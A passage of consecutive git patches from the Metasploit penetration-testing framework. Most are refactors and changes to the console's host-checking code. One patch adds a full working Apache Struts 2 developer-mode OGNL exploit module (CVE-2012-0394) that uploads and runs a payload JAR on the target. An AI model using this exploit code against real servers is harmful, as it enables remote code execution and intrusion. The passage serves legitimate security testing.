b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 2f2bbc92a6..1b9ffd0f7b 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -131,6 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote if res.nil? vprint_error("Connection timed out") return Exploit::CheckCode::Unknown + end + if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/ version = $1 end From 47b9bfaffc1337287af29f025fb6bb8ff4fa6387 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 24 Jan 2014 19:38:31 -0600 Subject: [PATCH 081/246] Use opts hash for adobe_pdf_embedded_exe https://dev.metasploit.com/redmine/issues/8498 --- .../fileformat/adobe_pdf_embedded_exe.rb | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb index 85ec1cfdfd..41d788b2dd 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb @@ -74,7 +74,15 @@ class Metasploit3 < Msf::Exploit::Remote startxrefs = pdf_objects[2] root_obj = pdf_objects[3] - output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last) + output = basic_social_engineering_exploit({ + :xref_trailers => xref_trailers, + :root_obj => root_obj, + :stream => stream, + :trailers => trailers, + :file_name => file_name, + :exe_name => exe_name, + :startxref => startxrefs.last + }) print_status("Parsing Successful. Creating '#{datastore['FILENAME']}' file...") file_create(output) @@ -165,7 +173,15 @@ class Metasploit3 < Msf::Exploit::Remote end - def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref) + def basic_social_engineering_exploit(opts = {}) + + xref_trailers = opts[:xref_trailers] + root_obj = opts[:root_obj] + stream = opts[:stream] + trailers = opts[:trailers] + file_name = opts[:file_name] + exe_name = opts[:exe_name] + startxref = opts[:startxref] file_name = file_name.split(/\//).pop.to_s From 7c5229e2eb5bb5cb14e3eb6e813902adcaf4188b Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 24 Jan 2014 20:12:06 -0600 Subject: [PATCH 082/246] Use opts hash for glassfish_deployer https://dev.metasploit.com/redmine/issues/8498 --- .../exploits/multi/http/glassfish_deployer.rb | 42 +++++++++++++++++-- 1 file changed, 38 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 5a1dc2b17b..9822bdaf47 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -364,7 +364,16 @@ class Metasploit3 < Msf::Exploit::Remote # # Return POST data and data length, based on GlassFish edition # - def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='') + def get_upload_data(opts = {}) + boundary = opts[:boundary] + version = opts[:version] + war = opts[:war] + app_base = opts[:app_base] + typefield = opts[:typefield] + status_checkbox = opts[:status_checkbox] + start = opts[:start] + viewstate = opts[:viewstate] + data = '' if version == '3.0' @@ -501,7 +510,15 @@ class Metasploit3 < Msf::Exploit::Remote # Upload our payload, and execute it. This function will also try to automatically # clean up after itself. # - def upload_exec(session, app_base, jsp_name, target, war, edition, version) + def upload_exec(opts = {}) + session = opts[:session] + app_base = opts[:app_base] + jsp_name = opts[:jsp_name] + target = opts[:target] + war = opts[:war] + edition = opts[:edition] + version = opts[:version] + if version == '2.x' or version == '9.x' path = "/applications/upload.jsf?appType=webApp" res = send_request(path, @verbs['GET'], session) @@ -553,7 +570,16 @@ class Metasploit3 < Msf::Exploit::Remote ctype = "multipart/form-data; boundary=---------------------------#{boundary}" end - post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate) + post_data = get_upload_data({ + :boundary => boundary, + :version => version, + :war => war, + :app_base => app_base, + :typefield => typefield, + :status_checkbox => status_checkbox, + :start => start, + :viewstate => viewstate + }) #Upload our payload if version == '2.x' or version == '9.x' @@ -816,7 +842,15 @@ class Metasploit3 < Msf::Exploit::Remote #Upload, execute, cleanup, winning print_status("Uploading payload...") - res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version) + res = upload_exec({ + :session => session, + :app_base => app_base, + :jsp_name => jsp_name, + :target => mytarget, + :war => war, + :edition => edition, + :version => version + }) else print_error("#{my_target_host()} - GlassFish - Failed to authenticate login") end From eaeb2af97ff70ac7b5704e27c7b53ea94cce5582 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 24 Jan 2014 20:32:37 -0600 Subject: [PATCH 083/246] Use opts hash for h323_version https://dev.metasploit.com/redmine/issues/8498 --- .../auxiliary/scanner/h323/h323_version.rb | 70 +++++++++++++++++-- 1 file changed, 64 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index 3fd8b5392e..8c43d28a31 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -51,7 +51,17 @@ class Metasploit3 < Msf::Auxiliary conf_guid = Rex::Text.rand_text(16) call_guid = Rex::Text.rand_text(16) - pkt_setup = h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid) + pkt_setup = h323_setup_call({ + :caller_name => caller_name, + :h323_id => h323_id, + :vendor_id => vendor_id, + :callee_host => callee_host, + :callee_port => callee_port, + :caller_host => caller_host, + :caller_port => caller_port, + :conf_guid => conf_guid, + :call_guid => call_guid + }) res = sock.put(pkt_setup) rescue nil if not res @@ -88,7 +98,17 @@ class Metasploit3 < Msf::Auxiliary end # Make sure the call was shut down cleanly - pkt_release = h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid) + pkt_release = h323_release_call({ + :caller_name => caller_name, + :h323_id => h323_id, + :vendor_id => vendor_id, + :callee_host => callee_host, + :callee_port => callee_port, + :caller_host => caller_host, + :caller_port => caller_port, + :conf_guid => conf_guid, + :call_guid => call_guid + }) sock.put(pkt_release) rescue nil # End timeout block @@ -352,7 +372,16 @@ class Metasploit3 < Msf::Auxiliary # # This is ugly. Doing it properly requires a PER capable ASN.1 encoder, which is overkill for this task # - def create_user_info(h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid) + def create_user_info(opts = {}) + h323_id = opts[:h323_id] + vendor_id = opts[:vendor_id] + callee_host = opts[:callee_host] + callee_port = opts[:callee_port] + caller_host = opts[caller_host] + caller_port = opts[:caller_port] + conf_guid = opts[:conf_guid] + call_guid = opts[:call_guid] + buff = "\x05" # Protocol descriminator: X.208/X.209 coded user information buff << "\x20\xa8\x06\x00\x08\x91\x4a\x00\x06\x01\x40\x02" @@ -539,7 +568,17 @@ class Metasploit3 < Msf::Auxiliary "\x02\x80\x01\x00" end - def h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid) + def h323_release_call(opts = {}) + caller_name = opts[:caller_name] + h323_id = opts[:h323_id] + vendor_id = opts[:vendor_id] + callee_host = opts[:callee_host] + callee_port = opts[:callee_port] + caller_host = opts[:caller_host] + caller_port = opts[:caller_port] + conf_guid = opts[:conf_guid] + call_guid = opts[:call_guid] + encap_tpkt(3, encap_q225_release( create_ie_display(caller_name) + @@ -550,13 +589,32 @@ class Metasploit3 < Msf::Auxiliary ) end - def h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid) + def h323_setup_call(opts = {}) + caller_name = opts[:caller_name] + h323_id = opts[:h323_id] + vendor_id = opts[:vendor_id] + callee_host = opts[:callee_host] + callee_port = opts[:callee_port] + caller_host = opts[:caller_host] + caller_port = opts[:caller_port] + conf_guid = opts[:conf_guid] + call_guid = opts[:call_guid] + encap_tpkt(3, encap_q225_setup( create_ie_bearer_capability() + create_ie_display(caller_name) + create_ie_user_user( - create_user_info( h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid ) + create_user_info({ + :h323_id => h323_id, + :vendor_id => vendor_id, + :callee_host => callee_host, + :callee_port => callee_port, + :caller_host => caller_host, + :caller_port => caller_port, + :conf_guid => conf_guid, + :call_guid => call_guid + }) ) ) ) From 216fa4503a35f1ef34761cbc20059df676f25322 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 24 Jan 2014 23:32:29 -0600 Subject: [PATCH 084/246] Save progress --- .../ui/console/module_command_dispatcher.rb | 80 ++++++++++++++++--- 1 file changed, 71 insertions(+), 9 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index ca20ffee50..7672d3fc6d 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -36,29 +36,90 @@ module ModuleCommandDispatcher self.driver.active_module = m end + def check_progress + return 0 unless @range_done and @range_count + pct = (@range_done / @range_count.to_f) * 100 + end + + def check_show_progress + pct = check_progress + if(pct >= (@range_percent + @show_percent)) + @range_percent = @range_percent + @show_percent + tdlen = @range_count.to_s.length + print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)") + end + end + + def check_multiple(hosts) + @show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false + @show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i + + @range_count = hosts.length || 0 + @range_done = 0 + @range_percent = 0 + + threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i + @tl = [] + + + if Rex::Compat.is_windows + if threads_config.nil? or threads_max > 16 + vprint_warning("Thread count has been adjusted to 16") + threads_max = 16 + end + end + + if Rex::Compat.is_cygwin + if threads_config.nil? or threads_max > 200 + vprint_warning("Thread count has been adjusted to 200") + threads_max = 200 + end + end + puts threads_max.inspect + while (true) + while (@tl.length < threads_max) + ip = hosts.next_ip + break unless ip + + @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) do |tip| + mod.datastore['RHOST'] = tip + check_simple + end + end + + break if @tl.length == 0 + + tla = @tl.length + @tl.first.join + @tl.delete_if { |t| not t.alive? } + tlb = @tl.length + + @range_done += (tla - tlb) + check_show_progress if @show_progress + end + + end + # # Checks to see if a target is vulnerable. # def cmd_check(*args) defanged? - ip_range_arg = args.shift || datastore['RHOSTS'] || '' + ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || '' hosts = Rex::Socket::RangeWalker.new(ip_range_arg) if hosts.ranges.blank? # Check a single rhost check_simple else - # Check a range last_rhost_opt = mod.rhost begin - hosts.each do |ip| - mod.datastore['RHOST'] = ip - check_simple - end + check_multiple(hosts) ensure # Restore the original rhost if set mod.datastore['RHOST'] = last_rhost_opt + mod.cleanup end end end @@ -80,18 +141,19 @@ module ModuleCommandDispatcher else print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end - rescue ::Interrupt + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError raise $! rescue ::Exception => e if(e.class.to_s != 'Msf::OptionValidateError') - print_error("Exploit check failed: #{e.class} #{e}") + print_error("Check failed: #{e.class} #{e}") print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple/ print_error(" #{line}") end else - print_error("#{rhost}:#{rport} - Exploit check failed: #{e.class} #{e}") + print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}") end end end From 2046209291d97ed15cb675b0693e2a43476bf1c6 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 25 Jan 2014 01:27:48 -0600 Subject: [PATCH 085/246] This one looks like is working --- .../ui/console/module_command_dispatcher.rb | 42 +++++++++++-------- 1 file changed, 24 insertions(+), 18 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 7672d3fc6d..fbcd88ff97 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -58,24 +58,24 @@ module ModuleCommandDispatcher @range_done = 0 @range_percent = 0 - threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i + threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || nil).to_i @tl = [] if Rex::Compat.is_windows - if threads_config.nil? or threads_max > 16 + if threads_max == 0 or threads_max > 16 vprint_warning("Thread count has been adjusted to 16") threads_max = 16 end end if Rex::Compat.is_cygwin - if threads_config.nil? or threads_max > 200 + if threads_max == 0 or threads_max > 200 vprint_warning("Thread count has been adjusted to 200") threads_max = 200 end end - puts threads_max.inspect + while (true) while (@tl.length < threads_max) ip = hosts.next_ip @@ -97,7 +97,6 @@ module ModuleCommandDispatcher @range_done += (tla - tlb) check_show_progress if @show_progress end - end # @@ -109,18 +108,26 @@ module ModuleCommandDispatcher ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || '' hosts = Rex::Socket::RangeWalker.new(ip_range_arg) - if hosts.ranges.blank? - # Check a single rhost - check_simple - else - last_rhost_opt = mod.rhost - begin - check_multiple(hosts) - ensure - # Restore the original rhost if set - mod.datastore['RHOST'] = last_rhost_opt - mod.cleanup + begin + if hosts.ranges.blank? + # Check a single rhost + check_simple + else + last_rhost_opt = mod.rhost + last_rhosts_opt = mod.datastore['RHOSTS'] + mod.datastore['RHOSTS'] = ip_range_arg + begin + check_multiple(hosts) + ensure + # Restore the original rhost if set + mod.datastore['RHOST'] = last_rhost_opt + mod.datastore['RHOSTS'] = last_rhosts_opt + mod.cleanup + end end + rescue ::Interrupt + print_status("Caught interrupt from the console...") + return end end @@ -142,8 +149,7 @@ module ModuleCommandDispatcher print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error - rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError - raise $! + rescue ::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError rescue ::Exception => e if(e.class.to_s != 'Msf::OptionValidateError') print_error("Check failed: #{e.class} #{e}") From 7dfd4ab22cb06207a521f8aff6498d0793ed638b Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 25 Jan 2014 01:40:05 -0600 Subject: [PATCH 086/246] Change default thread count --- lib/msf/ui/console/module_command_dispatcher.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index fbcd88ff97..8fcab6b909 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -58,19 +58,19 @@ module ModuleCommandDispatcher @range_done = 0 @range_percent = 0 - threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || nil).to_i + threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i @tl = [] if Rex::Compat.is_windows - if threads_max == 0 or threads_max > 16 + if threads_max > 16 vprint_warning("Thread count has been adjusted to 16") threads_max = 16 end end if Rex::Compat.is_cygwin - if threads_max == 0 or threads_max > 200 + if threads_max > 200 vprint_warning("Thread count has been adjusted to 200") threads_max = 200 end From cc4dea7d49f9fc3d1efefd9d1f1efa2a9758df01 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 25 Jan 2014 16:15:52 -0600 Subject: [PATCH 087/246] Was playing with ms08_067 check and realized I forgot this print --- modules/exploits/windows/smb/ms08_067_netapi.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index e6db55dee7..0e7a226c01 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -1091,7 +1091,7 @@ class Metasploit3 < Msf::Exploit::Remote return Msf::Exploit::CheckCode::Safe end - print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length) + vprint_status("Verifying vulnerable status... (path: 0x%08x)" % path.length) stub = NDR.uwstring(server) + From 52371be52af753d271103ffe0cba313d1e2b7a30 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Sat, 25 Jan 2014 17:36:08 -0600 Subject: [PATCH 088/246] Clarify why contributors are listed as authors Also adding @mcantoni to the list of authors. Sorry we missed you! Dear contributors, Even though we weren't able to use your code, we absolutely appreciate that you wrote it. That's why we're listing you as authors. Thanks!!! https://dev.metasploit.com/redmine/issues/6034 https://dev.metasploit.com/redmine/issues/5217 https://dev.metasploit.com/redmine/issues/6864 --- modules/auxiliary/scanner/printer/printer_download_file.rb | 7 ++++--- modules/auxiliary/scanner/printer/printer_env_vars.rb | 7 ++++--- modules/auxiliary/scanner/printer/printer_list_dir.rb | 7 ++++--- modules/auxiliary/scanner/printer/printer_list_volumes.rb | 7 ++++--- modules/auxiliary/scanner/printer/printer_ready_message.rb | 7 ++++--- modules/auxiliary/scanner/printer/printer_version_info.rb | 7 ++++--- 6 files changed, 24 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 8e55ac222a..2c43c3e3d1 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -19,10 +19,11 @@ class Metasploit4 < Msf::Auxiliary This module downloads a file from a printer using PJL. }, "Author" => [ - "wvu", # This implementation + "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests - "MC", # Independent implementation - "Myo Soe" # Independent implementation + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb index 671367b49a..8764161582 100644 --- a/modules/auxiliary/scanner/printer/printer_env_vars.rb +++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb @@ -19,10 +19,11 @@ class Metasploit4 < Msf::Auxiliary This module scans for printer environment variables using PJL. }, "Author" => [ - "wvu", # This implementation + "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests - "MC", # Independent implementation - "Myo Soe" # Independent implementation + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index 302f70f2a8..2de3aebf1f 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -19,10 +19,11 @@ class Metasploit4 < Msf::Auxiliary This module lists a directory on a printer using PJL. }, "Author" => [ - "wvu", # This implementation + "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests - "MC", # Independent implementation - "Myo Soe" # Independent implementation + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index 8ea2e4bd4c..512cc134b5 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -19,10 +19,11 @@ class Metasploit4 < Msf::Auxiliary This module lists the volumes on a printer using PJL. }, "Author" => [ - "wvu", # This implementation + "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests - "MC", # Independent implementation - "Myo Soe" # Independent implementation + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index 0b1a80dfe7..308bed475f 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -19,10 +19,11 @@ class Metasploit4 < Msf::Auxiliary This module scans for and can change printer ready messages using PJL. }, "Author" => [ - "wvu", # This implementation + "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests - "MC", # Independent implementation - "Myo Soe" # Independent implementation + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index a085c0aee8..cceb296d11 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -19,10 +19,11 @@ class Metasploit4 < Msf::Auxiliary This module scans for printer version information using PJL. }, "Author" => [ - "wvu", # This implementation + "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests - "MC", # Independent implementation - "Myo Soe" # Independent implementation + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] From 038cb7a98108616744ea29076b1ae7ca0cb022e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 25 Jan 2014 18:17:01 -0600 Subject: [PATCH 089/246] Add module for CVE-2012-0394 --- .../exploits/multi/http/struts_dev_mode.rb | 141 ++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 modules/exploits/multi/http/struts_dev_mode.rb diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb new file mode 100644 index 0000000000..f99465c930 --- /dev/null +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Developer Mode OGNL Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache + Struts 2. The problem exists on applications running in developer mode, + where the DebuggingInterceptor allows evaluation and execution of OGNL + expressions, which allows remote attackers to execute arbitrary Java + code. This module has been tested successfully in Struts 2.3.16, Tomcat + 7 and Ubuntu 10.04. + }, + 'Author' => + [ + 'Johannes Dahse', # Vulnerability discovery and PoC + 'Andreas Nusser', # Vulnerability discovery and PoC + 'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\ + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-0394'], + [ 'OSVDB', '78276'], + [ 'EDB', '18329'], + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ], + [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => true, + 'Targets' => + [ + [ 'Struts 2', { } ] + ], + 'DisclosureDate' => 'Jan 06 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) + ], self.class) + end + + def check + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + + res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})") + + if res and res.code == 200 and res.body.to_i == sum + return Exploit::CheckCode::Vulnerable + end + + if res and res.code == 200 and res.body.to_s =~ /#{sum}/ + return Exploit::CheckCode::Appears + end + + return CheckCode::Safe + end + + def exploit + @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar" + + upload_jar + execute_jar + end + + def upload_jar + append = 'false' + jar = payload.encoded_jar.pack + chunk_length = 384 # 512 bytes when base64 encoded + + while(jar.length > chunk_length) + java_upload_part(jar[0, chunk_length], @payload_jar, append) + jar = jar[chunk_length, jar.length - chunk_length] + append='true' + end + java_upload_part(jar, @payload_jar, append) + end + + def java_upload_part(part, filename, append = 'false') + cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append})," + cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," + cmd << "#f.close()" + execute_command(cmd) + end + + def execute_jar + cmd = "" + # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 + cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," + cmd << "#q.setAccessible(true),#q.set(null,true)," + cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," + cmd << "#q.setAccessible(true),#q.set(null,false)," + # create classloader + cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()})," + # load class + cmd << "#c=#cl.loadClass('metasploit.Payload')," + # invoke main method + cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" + cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + execute_command(cmd) + end + + def execute_command(cmd) + injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD" + injection.gsub!(/CMD/, Rex::Text.uri_encode(cmd)) + + vprint_status("Attempting to execute: #{cmd}") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'encode_params' => false, + 'vars_get' => + { + 'debug' => 'command', + 'expression' => injection + } + }) + + return res + end + + +end From 37adf1251c86a6f0e2e9b73329783b47b0f16d94 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 25 Jan 2014 18:25:31 -0600 Subject: [PATCH 090/246] Delete privileged flag because is configuration dependant --- modules/exploits/multi/http/struts_dev_mode.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index f99465c930..20e50d6e3c 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -40,7 +40,6 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, - 'Privileged' => true, 'Targets' => [ [ 'Struts 2', { } ] From 3bb17dad72ea0eface3a99ce222cb0df02270903 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 25 Jan 2014 20:10:22 -0600 Subject: [PATCH 091/246] Check argument --- lib/msf/ui/console/module_command_dispatcher.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 8fcab6b909..10573cba18 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -109,7 +109,10 @@ module ModuleCommandDispatcher hosts = Rex::Socket::RangeWalker.new(ip_range_arg) begin - if hosts.ranges.blank? + if hosts.ranges.blank? and mod.datastore['RHOST'].blank? + print_error("No host specified") + return + elsif hosts.ranges.blank? # Check a single rhost check_simple else From 2d12c0a368f0065c93a1c0e2bc22a362040d5e11 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 25 Jan 2014 20:25:01 -0600 Subject: [PATCH 092/246] NoMethod check and stuff --- lib/msf/core/auxiliary/scanner.rb | 8 ++++++-- lib/msf/ui/console/module_command_dispatcher.rb | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index 0812d4c740..5ab138b446 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -34,8 +34,12 @@ end def check nmod = self.replicant - code = nmod.check_host(datastore['RHOST']) - code + begin + code = nmod.check_host(datastore['RHOST']) + return code + rescue NoMethodError + return Exploit::CheckCode::Unsupported + end end diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 10573cba18..16bcedd8d3 100644 --- 